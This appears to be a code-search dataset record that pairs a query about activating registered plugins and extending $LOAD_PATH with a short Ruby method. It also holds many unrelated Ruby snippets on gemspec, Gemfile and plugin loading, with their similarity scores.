end\n\n template 'Gemfile', force: true\n end", "def load_gemspec(io)\n Gem::Specification.from_yaml io\n rescue Gem::Exception\n nil\n end", "def load #:nodoc:\n @found ||= {}\n @loaded ||= {}\n @files ||= Gem.find_files('cartage/*.rb')\n\n @files.reverse.each do |path|\n name = File.basename(path, '.rb').to_sym\n @found[name] = path\n end\n\n :repeat while @found.map { |name, plugin|\n load_plugin(name, plugin)\n }.any?\n end", "def import_gemspec(gemspec=nil)\n gemspec = gemspec || self.gemspec\n\n profile.name = gemspec.name\n profile.version = gemspec.version.to_s\n profile.path = gemspec.require_paths\n #metadata.engines = gemspec.platform\n\n profile.title = gemspec.name.capitalize\n profile.summary = gemspec.summary\n profile.description = gemspec.description\n profile.authors = gemspec.authors\n profile.contact = gemspec.email\n\n profile.resources.homepage = gemspec.homepage\n\n #metadata.extensions = gemspec.extensions\n\n gemspec.dependencies.each do |d|\n next unless d.type == :runtime\n requires << \"#{d.name} #{d.version_requirements}\"\n end\n end", "def specification(full_name)\n @gems[full_name]\n end", "def gemspec(options = {})\n name = options.delete(:name) || '{,*}'\n path = options.delete(:path) || '.'\n development_group = options.delete(:development_group) || :development\n\n spec = find_gemspec name, path\n\n groups = gem_group spec.name, {}\n\n self_dep = Gem::Dependency.new spec.name, spec.version\n\n add_dependencies groups, [self_dep]\n add_dependencies groups, spec.runtime_dependencies\n\n @dependencies[spec.name] = Gem::Requirement.source_set\n\n spec.dependencies.each do |dep|\n @dependencies[dep.name] = dep.requirement\n end\n\n groups << development_group\n\n add_dependencies groups, spec.development_dependencies\n\n @vendor_set.add_vendor_gem spec.name, path\n gem_requires spec.name, options\n end", "def call(fname, options={})\n return unless apply?(fname, options)\n\n gem_name = options[:gem] || options[:from]\n\n if vers = options[:version]\n spec = ::Gem::Specification.find_by_name(gem_name, vers)\n else\n spec = ::Gem::Specification.find_by_name(gem_name)\n end\n\n if options[:gem]\n raise_load_error(fname) unless spec\n else\n return unless spec\n end\n\n file = spec.find_requirable_file(fname)\n file = spec.find_requirable_file(File.join(gem_name, fname)) unless file\n\n if file\n super(file, options)\n else\n raise_load_error(fname)\n end\n end", "def parse_gemfile\n ParserUtil.gemfile(data[\"Gemfile\"])\n end", "def installed_gemspec(path)\n #return true if Dir[File.join(path, '*.gemspec')].first\n pkgname = ::File.basename(path)\n gemsdir = ::File.dirname(path)\n specdir = ::File.join(File.dirname(gemsdir), 'specifications')\n gemspec = ::File.join(specdir, \"#{pkgname}.gemspec\")\n ::File.exist?(gemspec) ? gemspec : nil\n end", "def validate_gemspec; end", "def refresh!\n load_gems_in(self.class.installed_spec_directories)\n end", "def gemspec_file_system\n @_gemspec_file_system ||= (\n pkgname = File.basename(location)\n gemsdir = File.dirname(location)\n specdir = File.join(File.dirname(gemsdir), 'specifications')\n Dir[File.join(specdir, \"#{pkgname}.gemspec\")].first\n )\n end", "def dependencies(gemfile)\n dependencies = { }\n\n File.open(gemfile) do |f|\n f.each do |line|\n if (line.match(/\\Agem\\s+['\"]bundler['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/))\n dependencies[:bundler] = $1\n elsif (line.match(/\\A\\#\\s*rubygems\\s+(\\S+)/))\n dependencies[:rubygems] = $1\n end\n end\n end\n\n dependencies\nend", "def load_gemdeps(path, without_groups = [], installing = false)\n @git_set = Gem::Resolver::GitSet.new\n @vendor_set = Gem::Resolver::VendorSet.new\n @source_set = Gem::Resolver::SourceSet.new\n\n @git_set.root_dir = @install_dir\n\n lock_file = \"#{File.expand_path(path)}.lock\".dup.tap(&Gem::UNTAINT)\n begin\n tokenizer = Gem::RequestSet::Lockfile::Tokenizer.from_file lock_file\n parser = tokenizer.make_parser self, []\n parser.parse\n rescue Errno::ENOENT\n end\n\n gf = Gem::RequestSet::GemDependencyAPI.new self, path\n gf.installing = installing\n gf.without_groups = without_groups if without_groups\n gf.load\n end", "def parse\n \n # TODO: Because the Gemfile parser will look at any file without a suffix\n # it is important to make sure that the filename is actually Gemfile\n \n gemfile = File.basename(@file)\n \n log.info \"Gemfile - Bundler: #{gemfile}\"\n \n # Use Bundler's DSL evaluator to generate the domain objects\n bundle = Bundler::Dsl.new\n bundle.instance_eval(@source, @file, 1)\n \n # Bundler::Dsl does grant access to the instance variables so we will \n # add attribute readers to allow us to read the following attributes.\n\n class << bundle\n attr_reader :rubygems_source, :sources, :dependencies, :groups, :platforms\n end\n \n end", "def gemspec?; end", "def add(*gemspecs)\n @specs.push(*gemspecs)\n end", "def declare_gemfile\n @flavor.class.do_declare_resources do\n # :nocov:\n lazy_vars = Chef::DelayedEvaluator.new do\n { gems: cookbook_gems, sources: gem_sources }\n end\n # :nocov:\n add_templates(%w(Gemfile), :create, variables: lazy_vars)\n end\n end", "def valid_gemspec?; end", "def specimport(path, options = {})\n if options[:inline]\n @read_spec = path\n else\n self.specfile = path\n end\n specdata = load_spec()\n import_specification(specdata)\n\n problem\n end", "def load_specs(dir)\n if \"file\" == @mode then\n load_from_file(dir) \n elsif \"code\" == @mode then\n { 'resources' => parse_source_code(dir) }\n else\n raise ArgumentError\n end\n end", "def add_gem_facts\n unless @path.directory?\n @result.is_gem = false\n return\n end\n \n path = gemspec_path\n \n if path.nil?\n @result.is_gem = false\n return\n end\n \n @result.is_gem = true\n @result.package.types << 'gem'\n \n gem = @result.gem = Result.new\n \n gem.gemspec_path = gemspec_path.to_s\n \n spec = Gem::Specification::load(gemspec_path.to_s)\n gem.name = spec.name\n gem.version = QB::Package::Version.from_gem_version spec.version\n end", "def load_gems(an_array_of_strings)\n\n print \"Installing gems as necessary ... \" if $debug\n gemfile do\n source 'https://rubygems.org'\n Array(an_array_of_strings).each do |gem_name|\n print gem_name + ' ' if $debug\n gem gem_name\n end\n end\n\n puts 'done' if $debug\n\nend", "def _resolve(file)\n imported_path = nil\n\n IO.foreach(file) do |line|\n # Implementing subclasses may throw :done from the parse method when\n # the file is exhausted for dependency declaration possibilities.\n catch(:done) do\n imported_path = parse(line, imported_path)\n\n # If a dependency declaration was found\n if imported_path\n # Resolves a path relative to the file that imported it\n imported_path = resolve_path(imported_path, file)\n\n if File.directory?(imported_path)\n imported_files = Dir.glob(File.join(imported_path, \"**\", \"*#{extension}\"))\n else\n imported_files = [imported_path]\n end\n\n imported_files.each do |imported_file|\n # Only keep processing file if it's not already included.\n # Yield to block to allow caller to ignore file\n if !@files.include?(imported_file) && (!block_given? || yield(imported_file))\n # Check this file for imports before adding it to get order right\n _resolve(imported_file) { |f| f != File.expand_path(file) }\n end\n end\n end\n end\n end\n\n file = File.expand_path(file)\n @files << file if !@files.include?(file) && (!block_given? || yield(file))\n end", "def find_packages\n LockfileParser.read(lockfile_path)\n end", "def gemspec_file\n project_path( \"#{ name }.gemspec\" )\n end", "def add_hardcoded_gem(path)\n # make sure gem dir has a gemspec\n gemspec = File.join path, File.basename(path) + '.gemspec'\n return unless File.exists? gemspec\n # make sure gem dir has a lib dir\n libpath = File.join path, 'lib'\n return unless File.exists? libpath\n # all is ok, so add to loadpath\n @paths << libpath\n end", "def load(*args)\n args.each do |thing|\n if(thing.is_a?(Symbol))\n path = File.join(components_directory, \"#{thing}.rb\")\n else\n path = thing\n end\n key = File.basename(path).sub('.rb', '')\n components[key] = self.class.load_component(path)\n @load_order << key\n end\n self\n end", "def load_asset_file(spec_filename)\n\n #If we weren't provided with a filename, automatically produce one from the currently\n #running spec's name\n filename = spec_filename.gsub(/spec.rb$/, \"assets.yaml\")\n \n #And parse the YAML file.\n let(:assets) { YAML.load(File.open(filename)) }\n\nend", "def load_minimal_gems\r\n end", "def ruby_can_load(*files)\n # Always include rubygems first\n files = files.unshift('rubygems').collect { |x| \"require '#{x}'\" }\n \n @commands << \"ruby -e \\\"#{files.join(';')}\\\"\"\n end", "def ruby_can_load(*files)\n # Always include rubygems first\n files = files.unshift('rubygems').collect { |x| \"require '#{x}'\" }\n \n @commands << \"ruby -e \\\"#{files.join(';')}\\\"\"\n end", "def test_change_file_patch\n gemfile = bake_testing_gem\n\n patches = []\n patches << bake_change_file_patch\n\n # Creates new patched gem in @gems_dir\n patcher = Gem::Patcher.new(gemfile, @gems_dir)\n patched_gem = patcher.patch_with(patches, @options)\n\n # Unpack\n package = Gem::Package.new patched_gem\n package.extract_files @gems_dir\n\n assert_equal patched_file, file_contents('foo.rb')\n end", "def gemspec(platform = 'ruby')\n Gem::Specification.load(File.expand_path('../../redcloth.gemspec', __FILE__))\nend", "def find_all(req)\n @specs.values.select do |spec|\n req.match? spec\n end.map do |spec|\n source = Gem::Source::Vendor.new @directories[spec]\n Gem::Resolver::VendorSpecification.new self, spec, source\n end\n end", "def from_installed_gems(*spec_dirs)\n @gems.clear\n if spec_dirs.empty?\n spec_dirs = Gem.path.collect { |dir| File.join(dir, \"specifications\") }\n end\n Dir.glob(\"{#{spec_dirs.join(',')}}/*.gemspec\").each do |file_name|\n gemspec = self.class.load_specification(file_name)\n @gems[gemspec.full_name] = gemspec if gemspec\n end\n self\n end", "def has_file_satisfied_by?(spec_file)\n file_paths.any? { |gem_file| RPM::Spec.file_satisfies?(spec_file, gem_file) }\n end", "def scan_file (file_name)\n #for each line\n File.open(file_name).each do |line|\n parsed_line = parse_line line\n raise \"Invalid spec format:\\n\" + line if parsed_line.class == InvalidLine\n update_on_new_line parsed_line\n end \n @test_suite.add_test_case current_test_case if current_test_case && @state.class == AddingTestCases\n @test_suite\n end", "def load_url_spec\n path = self.class.spec_path\n specs = []\n Dir.new(path).entries.sort.each do |dir_entry|\n specs.push *YAML.load_file(path+dir_entry) if load_spec?( dir_entry )\n end\n @spec = Testcase.expand_specs(specs, @configuration)\n end", "def set_gem_version_and_file line, file, line_num\n if line =~ @gem_name_version\n @tracker.config.add_gem $1, $2, file, line_num\n end\n end", "def all_specs\n files_matching %r%^spec/.*_spec\\.rb$%\n end" ]
[ "0.7242673", "0.69334483", "0.6797337", "0.65715325", "0.65404963", "0.6473995", "0.6406423", "0.6385486", "0.6342654", "0.62927926", "0.6113445", "0.6079612", "0.6001457", "0.5971521", "0.59482914", "0.59412575", "0.5929736", "0.591711", "0.591711", "0.5914992", "0.5895672", "0.58926564", "0.5874975", "0.5857616", "0.58434683", "0.5840692", "0.58286095", "0.5800874", "0.5800874", "0.5800874", "0.5800874", "0.5800874", "0.5800874", "0.5800874", "0.5800874", "0.579129", "0.5790906", "0.57528204", "0.5751465", "0.5738777", "0.57369083", "0.572905", "0.5710548", "0.5706122", "0.56973034", "0.5666141", "0.5662199", "0.565896", "0.56458676", "0.5645031", "0.5635478", "0.5593965", "0.5588591", "0.5571835", "0.55538195", "0.5550525", "0.5549603", "0.5539737", "0.5534485", "0.55297965", "0.5502158", "0.55012834", "0.54817146", "0.5462015", "0.54608935", "0.5458831", "0.54546255", "0.5438992", "0.5426929", "0.5416676", "0.5412656", "0.540638", "0.54054904", "0.5391241", "0.53807884", "0.5374288", "0.53706187", "0.5368223", "0.536067", "0.5353635", "0.5348255", "0.53194755", "0.53187215", "0.53119725", "0.53084546", "0.53084403", "0.5300493", "0.5283237", "0.5281659", "0.5278332", "0.52748597", "0.52747154", "0.5273991", "0.52717674", "0.52662927", "0.5256064", "0.5236666", "0.52321565", "0.521686", "0.5209412" ]
0.7375221
0
Activate all registered plugins that are not already enabled and add lib paths to $LOAD_PATH.
def activate plugins.each do |plugin| plugin.load! unless plugin.enabled? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def load_plugins\n @plugins.each do |plugin|\n plugin.activate! if plugin.enabled?\n end\n end", "def add_plugin_load_paths\r\n plugins.each do |plugin|\r\n plugin.load_paths.each do |path|\r\n $LOAD_PATH.insert(application_lib_index + 1, path)\r\n\r\n ActiveSupport::Dependencies.load_paths << path\r\n\r\n unless configuration.reload_plugins?\r\n ActiveSupport::Dependencies.load_once_paths << path\r\n end\r\n end\r\n end\r\n\r\n $LOAD_PATH.uniq!\r\n end", "def activate_plugins\n with_config do |config, _|\n config_plugins = config[\"plugins\"]\n break unless config_plugins\n Hoe.plugins.concat config_plugins.map(&:intern)\n end\n\n Hoe.load_plugins Hoe.plugins\n\n names = Hoe.constants.map(&:to_s)\n names.reject! { |n| n =~ /^[A-Z_]+$/ }\n\n names.each do |name|\n next unless Hoe.plugins.include? name.downcase.intern\n warn \"extend #{name}\" if $DEBUG\n self.extend Hoe.const_get(name)\n end\n\n initialize_plugins\n end", "def add_plugin_paths(install_dir)\n Dir.glob(File.join([install_dir, '*'])).each do |mod|\n $LOAD_PATH << File.join([mod, 'lib'])\n end\n end", "def load_plugins!\n # Scan plugins\n plugin_glob = File.join(File.dirname(__FILE__), 'plugins', '*.rb')\n Dir.glob(plugin_glob).each do |plugin|\n logger.debug(\"Loading file: #{plugin}\")\n require plugin\n end\n end", "def add_plugin_load_paths\n configuration.add_plugin_paths(extension_loader.paths(:plugin))\n super\n ActiveSupport::Dependencies.autoload_once_paths -= extension_loader.paths(:load)\n end", "def load_plugins(add_dir = nil)\n plugins_path(add_dir).each do |plugin_search_path|\n Dir.glob(File.join(plugin_search_path, '**', '*.rb')).sort.each do |plugin|\n require plugin\n end\n end\n\n Gem.find_latest_files('doing-plugin-*', true).sort.each do |plugin|\n load plugin\n end\n\n # Gem.path.each do |path|\n # $LOAD_PATH.unshift path\n # Dir.glob(File.join(path, 'gems', 'doing-plugin-*', 'lib', '*.rb')).sort.each do |plugin|\n # require plugin.sub(%r{#{path}/gems/(.*?)-[\\d.]+$}, '\\1')\n # end\n # end\n\n plugins\n end", "def load_plugins\n Gem.find_latest_files(\"pantry/init.rb\").each do |path|\n begin\n gem_path = path.gsub(\"#{Gem.dir}/gems/\", '')\n Pantry.logger.debug(\"Installing plugin from #{gem_path}\")\n require path\n rescue Exception => ex\n Pantry.logger.warn(\"Unable to load plugin at #{gem_path}, #{ex.message}\")\n end\n end\n end", "def load_all_plugins\r\n # a nil value implies we don't care about plugins; load 'em all in a reliable order\r\n find_plugins(configuration.plugin_paths).sort.each { |path| load_plugin path }\r\n end", "def add_lib_to_load_path! # :nodoc:\n [root.join('lib'), root.join('vendor', 'lib'), root.join('app', 'lib')].each do |path|\n $LOAD_PATH.unshift(path.to_s) if File.exist?(path) && !$LOAD_PATH.include?(path.to_s)\n end\n end", "def load!\n # We can load plugins from multiple locations to make organisation easier.\n # Each file should contain one or more subclasses of `Globot::Plugin::Base`\n # which, when loaded, will automatically register the class with this\n # class, meaning we have a collection of all available plugins.\n paths = Globot.config.for_plugin('loadpath') || File.join(%w{ lib globot plugins })\n paths.each do |path|\n Globot.logger.debug \"Loading plugins from #{path}\"\n Dir[File.expand_path(File.join(path, '*.rb'), Globot.basepath)].collect { |p| load p }\n end\n\n # Once we've loaded and registered all plugins, we activate them all by\n # creating a new instance of each one.\n activate\n end", "def add_plugins_from_lookup_folders\n @plugin_lookup_folders.each do |folder|\n if File.directory?(folder)\n #TODO: add gem root to load path ? and require short folder ?\n #$LOAD_PATH.push(folder) if i[:add_path]\n Dir.entries(folder).select{|file|file.end_with?(RUBY_FILE_EXT)}.each do |source|\n add_plugin_info(File.join(folder,source))\n end\n end\n end\n end", "def after_load_with_appable_plugins\n# $LOAD_PATH.delete_at($LOAD_PATH.index(lib_path)) if lib_path? && @dependencies_injected\n end", "def load_autoload_plugins; end", "def load_gem_plugins; end", "def loadplugins\n @plugins.each do |p|\n Angelia::Util.debug(\"loading plugin angelia/plugin/#{p.downcase}.rb and registering Angelia::Plugin::#{p}\")\n\n Kernel.load(\"angelia/plugin/#{p.downcase}.rb\")\n eval(\"Angelia::Plugin::#{p}.register\")\n end\n end", "def load_plugins\n return if @plugins_loaded\n Bgo::Application::PluginManager.init\n Bgo::Application::PluginManager.startup(self)\n @plugins_loaded = true\n end", "def load_lib_dirs\n lib_dirs.each do |lib|\n $LOAD_PATH << lib\n end\n end", "def load_plugins\n root = plugins_root\n if root.exist?\n root.children.each do |plugin|\n init_rb = plugin + 'init.rb'\n next unless init_rb.exist?\n Kernel.require init_rb\n end\n end\n end", "def load_plugins; end", "def load_plugins\n @loaded ||= {}\n found = {}\n\n Gem.find_files(File.join(plugin_path, '*.rb')).sort!.reverse_each do |path|\n name = File.basename(path, '.rb').to_sym\n found[name] = path unless found.key? name\n end\n\n :keep_on_truckin while found.map { |name, path|\n next unless plugin_names.empty? or plugin_names.include? name\n next if disregard_plugins.include? name\n next if @loaded[name]\n begin\n @loaded[name] = load path\n rescue ScriptError, StandardError => err\n warn \"Error loading #{path.inspect}: #{err.message}. skipping...\"\n end\n }.any?\n end", "def load_plugins\n # Add our private gem path to the gem path and reset the paths\n # that Rubygems knows about.\n ENV[\"GEM_PATH\"] = \"#{@gems_path}#{::File::PATH_SEPARATOR}#{ENV[\"GEM_PATH\"]}\"\n ::Gem.clear_paths\n\n # Load the plugins\n rc_path = File.expand_path(ENV[\"VAGRANT_RC\"] || DEFAULT_RC)\n if File.file?(rc_path) && @@loaded_rc.add?(rc_path)\n @logger.debug(\"Loading RC file: #{rc_path}\")\n load rc_path\n else\n @logger.debug(\"RC file not found. Not loading: #{rc_path}\")\n end\n end", "def load_plugins\n return unless plugin_prefix\n files_to_require = if Gem.respond_to? :find_latest_files\n Gem.find_latest_files(\"#{plugin_prefix}_plugin\")\n else\n Gem.find_files(\"#{plugin_prefix}_plugin\")\n end\n files_to_require.each { |path| require_plugin_path(path) }\n end", "def load_plugins\n super\n extension_loader.load_extensions\n end", "def add_to_load_path(event) #:nodoc:\n paths = load_paths\n \n # If the load path already includes this plugin's lib path, then this plugin\n # has already been loaded (via the Rails::Initializer), so we can figure out\n # where the app paths are going\n if $LOAD_PATH.include?(lib_path)\n index = $LOAD_PATH.index(lib_path)\n \n # If we couldn't find a load path, but this isn't the last plugin that was\n # loaded, then it means that this plugin has already been loaded (via the\n # Rails::Initializer) and doesn't have a lib path. \n elsif event == :after_initialize\n plugins_after_paths = plugins_after.map(&:root)\n nearest_load_path = $LOAD_PATH.reverse.find {|path| plugins_after_paths.detect {|plugin_path| path.include?(plugin_path)}}\n \n index = ($LOAD_PATH.index(nearest_load_path || Rails.lib_path) || 0) + 1\n else\n index = ($LOAD_PATH.index(Rails.lib_path) || 0) + 1\n paths += [lib_path] if lib_path?\n end\n \n $LOAD_PATH.insert(index, *paths)\n end", "def add_to_load_path #:nodoc:\n $LOAD_PATH.insert($LOAD_PATH.index(\"#{RAILS_ROOT}/lib\") + 1, *load_paths)\n end", "def load_plugin_tasks\n bad = []\n\n $plugin_max = self.class.plugins.map { |s| s.to_s.size }.max\n\n self.class.plugins.each do |plugin|\n warn \"define: #{plugin}\" if $DEBUG\n\n old_tasks = Rake::Task.tasks.dup\n\n begin\n send \"define_#{plugin}_tasks\"\n rescue NoMethodError\n warn \"warning: couldn't activate the #{plugin} plugin, skipping\"\n\n bad << plugin\n next\n end\n\n (Rake::Task.tasks - old_tasks).each do |task|\n task.plugin = plugin\n end\n end\n @@plugins -= bad\n end", "def all_plugins\r\n @all_plugins ||= locate_plugins\r\n @all_plugins\r\n end", "def load_plugins\n plugins(@config.subsystems).each do |plugin|\n @ohai.require_plugin(plugin, true)\n end\n end", "def activate_plugin_deps\n Hoe.plugins.each do |plugin|\n msg = \"activate_#{plugin}_deps\"\n warn msg if $DEBUG\n send msg if self.respond_to? msg\n end\n end", "def init_plugins\n\t\t\tmethods.grep(/^init_plugin_/).each{|method_name| send(method_name) }\n\t\tend", "def activate_plugins\n Vagrant.plugin(\"1\").registered.each do |plugin|\n plugin.activate!\n end\n end", "def activate\n @plugins.each { |p| @active << p.new(Globot.config.for_plugin(p)) }\n end", "def __load_global_plugins\n # If we're in a Bundler environment, don't load plugins. This only\n # happens in plugin development environments.\n if defined?(Bundler)\n require 'bundler/shared_helpers'\n if Bundler::SharedHelpers.in_bundle?\n @logger.warn(\"In a bundler environment, not loading environment plugins!\")\n return\n end\n end\n\n # Load the plugins\n plugins_json_file = @home_path.join(\"global-plugins.json\")\n bindler_debug(\"Loading plugins from: #{plugins_json_file}\")\n if plugins_json_file.file?\n data = YAML.parse(plugins_json_file.read).to_ruby\n data[\"installed\"].each do |plugin|\n bindler_info(\"Loading plugin from global-plugin.json: #{plugin}\")\n begin\n Vagrant.require_plugin(plugin)\n rescue Vagrant::Errors::PluginLoadError => e\n @ui.error(e.message + \"\\n\")\n rescue Vagrant::Errors::PluginLoadFailed => e\n @ui.error(e.message + \"\\n\")\n end\n end\n end\n end", "def locate_plugins\n Gem.refresh\n (Gem::Specification.respond_to?(:each) ? Gem::Specification : Gem.source_index.find_name('')).each do |gem|\n next if gem.name !~ PRY_PLUGIN_PREFIX\n plugin_name = gem.name.split('-', 2).last\n @plugins << Plugin.new(plugin_name, gem.name, gem, true) if !gem_located?(gem.name)\n end\n @plugins\n end", "def install_plugins\n ::Revenant.plugins.each do |name, plugin|\n plugin.install(self)\n end\n end", "def initialize_plugins\n plugins.each do |name, klass|\n msg = \"initialize_#{name}\"\n klass.send msg if klass.respond_to? msg\n end\n end", "def apply_lib_paths\n parent&.apply_lib_paths\n $LOAD_PATH.unshift(@lib_dir) if @lib_dir && !$LOAD_PATH.include?(@lib_dir)\n self\n end", "def plugins\r\n @plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) }\r\n end", "def require_plugins\n Dir[File.dirname(__FILE__) + '/plugins/*.rb'].each do |file|\n plugin_file_name = file.split('/').last.gsub('.rb', '')\n require_relative \"plugins/#{plugin_file_name}\"\n end\n end", "def all_plugins; end", "def instantiate_plugins!\n ::Bicho::Plugins.constants.each do |cnt|\n pl_class = ::Bicho::Plugins.const_get(cnt)\n pl_instance = pl_class.new\n logger.debug(\"Loaded: #{pl_instance}\")\n @plugins << pl_instance\n end\n end", "def test_application_app_libs_should_precede_all_plugin_app_libs\r\n types = %w(app/controllers app/helpers app/models lib)\r\n types.each do |t|\r\n app_index = load_path_index(File.join(RAILS_ROOT, t))\r\n assert_not_nil app_index, \"#{t} is missing in $LOAD_PATH\"\r\n Engines.plugins.each do |plugin|\r\n first_plugin_index = load_path_index(File.join(plugin.directory, t))\r\n assert(app_index < first_plugin_index) unless first_plugin_index.nil?\r\n end\r\n end\r\n end", "def before_load_with_appable_plugins\n inject_dependencies\n end", "def plugins\n @plugins ||= begin\n plugin_names = (config.plugins || [:all]).map { |p| p.to_sym }\n Railtie.plugins.select { |p|\n plugin_names.include?(:all) || plugin_names.include?(p.plugin_name)\n }.map { |p| p.new } + Plugin.all(plugin_names, config.paths.vendor.plugins)\n end\n end", "def load_modules\n Dir[\"./plugins/**/lib/*.rb\"].each do |file| \n require file.split(\".rb\")[0]\n file_name = File.basename(file, \".rb\").split('_').collect(&:capitalize).join\n self.class.send(:include, Object.const_get(file_name))\n bixsby_print \"Loading Module #{file_name}\"\n end\n end", "def initialize_plugins\n Hoe.plugins.each do |plugin|\n msg = \"initialize_#{plugin}\"\n warn msg if $DEBUG\n send msg if self.respond_to? msg\n end\n end", "def __load_local_plugins\n ARGV.each do |arg|\n if !arg.start_with?(\"-\") && arg == 'bindler'\n bindler_debug 'bindler command detected, setting VAGRANT_NO_PLUGINS to 1'\n ENV[\"VAGRANT_NO_PLUGINS\"] = \"1\"\n break\n end\n end\n\n if ENV['VAGRANT_NO_PLUGINS']\n bindler_debug 'VAGRANT_NO_PLUGINS is set to true, skipping local plugins manifest parsing'\n return\n end\n\n # Prepend our local gem path and reset the paths that Rubygems knows about.\n bindler_debug 'Tweaking GEM_HOME'\n ENV[\"GEM_PATH\"] = \"#{local_data_path.join('gems')}#{::File::PATH_SEPARATOR}#{ENV[\"GEM_PATH\"]}\"\n ::Gem.clear_paths\n\n bindler_debug \"#{bindler_plugins_file} data: #{bindler_plugins.inspect}\"\n bindler_plugins.each do |plugin|\n if plugin.is_a?(String)\n __load_plugin plugin\n else\n __load_plugin *plugin.first\n end\n end\n\n if @__failed_to_load\n plugins = @__failed_to_load.map do |plugin, version|\n \" -> #{plugin} (#{version || \">= 0\"})\"\n end\n raise VagrantPlugins::Bindler::PluginNotFoundError, plugins: plugins.join(\"\\n\")\n end\n end", "def ensure_all_registered_plugins_are_loaded!\n begin\n super\n rescue LoadError => load_error\n raise LoadError, load_error.to_s unless load_error.to_s =~ /friendly_id|aasm|will_paginate/\n end\n end", "def plugins\n @plugins ||= []\n end", "def setup\n @plugins.each do |p|\n if p.respond_to? :setup\n p.setup\n end\n end\n end", "def install_plugins\n download_plugins\n generate_goodies_includes\nend", "def create_loader(enabled_plugins)\n enabled_plugins = enabled_plugins.map do |p|\n if p.is_a?(Plugin)\n p\n else\n plugins.find {|plugin| p == plugin.module_name } or\n raise UnknownPluginError, p\n end\n end\n\n enabled_plugins.each do |p|\n log(\"activating #{p}\")\n p.activate!\n end\n\n log(\"enabled_plugins: #{enabled_plugins.inspect}\")\n\n Loader.new(enabled_plugins)\n end", "def add_to_dependency_load_paths(event) #:nodoc:\n if index = Dependencies.load_paths.index(lib_path)\n Dependencies.load_paths.insert(index, *load_paths)\n elsif event == :after_initialize\n plugins_before_paths = plugins_before.map(&:root)\n plugin_before_load_paths = Dependencies.load_paths.find_all {|path| plugins_before_paths.detect {|plugin_path| path.include?(plugin_path)}}\n index = (Dependencies.load_paths.index(plugin_before_load_paths.last) || -1) + 1\n \n Dependencies.load_paths.insert(index, *load_paths)\n else\n Dependencies.load_paths.concat(load_paths)\n end\n end", "def add_autoload_paths_to_load_path; end", "def add_autoload_paths_to_load_path; end", "def extra_load_paths\n extras = $LOAD_PATH.dup\n [ 'sitedir',\n 'sitelibdir',\n 'sitearchdir',\n 'rubylibdir',\n 'archdir' ].each {\n |var|\n extras.delete(Config::CONFIG[var]) { raise }\n }\n extras.delete('.')\n extras\n end", "def load_plugins\n self.class.plugins.each do |plugin|\n n = plugin.short_name\n\n plugin.features.each do |f|\n feature_all_sym = f.to_sym\n feature_this_sym = \"#{f}_#{n}\"\n unless respond_to?(feature_all_sym)\n define_singleton_method(feature_all_sym, plugin.feature_all(f))\n end\n unless respond_to?(feature_this_sym)\n define_singleton_method(feature_this_sym, plugin.feature_this(f, n))\n end\n end\n\n define_singleton_method(n, -> { @plugins[n] }) unless respond_to?(n)\n @plugins[n] = plugin.new(self)\n end\n 0\n end", "def after_initialize_with_appable_plugins\n after_initialize_without_appable_plugins\n inject_controller_paths\n \n # Inject dependencies when being loaded after initialization in case\n # loaded_plugins was loaded as a gem midway through application initialization\n inject_dependencies(:after_initialize)\n end", "def _reload_libs\n RELOAD_LIBS.each do |lib|\n require_dependency lib\n end\n end", "def locate_plugins\r\n configuration.plugin_locators.map do |locator|\r\n locator.new(initializer).plugins\r\n end.flatten\r\n # TODO: sorting based on config.plugins\r\n end", "def _reload_libs\n RELOAD_LIBS.each do |lib|\n require_dependency lib\n end\n end", "def loadPlugins(onlythese=nil)\n Dir.foreach($COMMON_PLUGINS_WORKDIR) { |entry| \n next if(onlythese && !onlythese.index(entry))\n d = $COMMON_PLUGINS_WORKDIR + \"/\" + entry\n if FileTest.directory?(d)\n if(FileTest.exists?( d + \"/plugin.rb\"))\n puts \"Loading common plugin %s...\" % entry\n load(d + \"/plugin.rb\")\n end\n end\n }\n Dir.foreach($PLUGINS_WORKDIR) { |entry| \n next if(onlythese && !onlythese.index(entry))\n d = $PLUGINS_WORKDIR + \"/\" + entry\n if FileTest.directory?(d)\n if(FileTest.exists?( d + \"/plugin.rb\"))\n puts \"Loading plugin %s...\" % entry\n load(d + \"/plugin.rb\")\n end\n end\n }\nend", "def include_plugins!\n class_eval do\n @sorcery_config.plugins.each do |plugin|\n include controller_plugin_const(plugin)\n end\n end\n # TODO: This should also take config settings from `load_plugin` calls,\n # and apply them now that they've been added by the plugin\n # `self.included` calls.\n end", "def set_load_path!\n load_paths = configuration.load_paths || [] # TODO: from script/console the configuration isn't ran.\n load_paths.reverse_each { |dir| $LOAD_PATH.unshift(dir) if File.directory?(dir) } unless Rucola::RCApp.test? # FIXME: why??\n $LOAD_PATH.uniq!\n end", "def plugins; end", "def plugins; end", "def plugins; end", "def plugins; end", "def load_plugins(options={})\n ops = resolve_defaults(options)\n\n load_settings = {}\n if ops[:includes]\n ops[:includes].each do |plugin|\n load_settings[plugin] = GemPlugin::INCLUDE\n end\n end\n\n if ops[:excludes]\n ops[:excludes].each do |plugin|\n load_settings[plugin] = GemPlugin::EXCLUDE\n end\n end\n\n GemPlugin::Manager.instance.load(load_settings)\n end", "def load_extensions\n # Load the init.rb file\n require root('init.rb') if File.exists?(root('init.rb'))\n\n # Load the gems in the config file\n @config.gems.each { |gem| require gem }\n\n # Load the extensions\n ext_roots = Dir[root(:extensions, '*')].select { |d| File.directory? d }\n ext_roots.each do |dir|\n ext = File.basename(dir)\n\n # Try extensions/name/name.rb\n # Try extensions/name/lib/name.rb\n ext_files = [\n File.join(dir, \"#{ext}.rb\"),\n File.join(dir, 'lib', \"#{ext}.rb\")\n ]\n ext_files.reject! { |f| not File.exists? f }\n require ext_files[0] if ext_files[0]\n end\n end", "def set_autoload_paths\n # Rails 3 master support\n if ActiveSupport::Dependencies.respond_to?(:autoload_paths)\n ActiveSupport::Dependencies.autoload_paths = configuration.autoload_paths.uniq\n ActiveSupport::Dependencies.autoload_once_paths = configuration.autoload_once_paths.uniq\n else\n ActiveSupport::Dependencies.load_paths = configuration.autoload_paths.uniq\n ActiveSupport::Dependencies.load_once_paths = configuration.autoload_once_paths.uniq \n end\n end", "def load_plugin_with_engine_additions(directory)\r\n name = plugin_name(directory)\r\n return false if loaded_plugins.include?(name)\r\n \r\n logger.debug \"loading plugin from #{directory} with engine additions\"\r\n \r\n # add the Plugin object\r\n plugin = Plugin.new(plugin_name(directory), directory)\r\n Rails.plugins << plugin\r\n \r\n # do the other stuff that 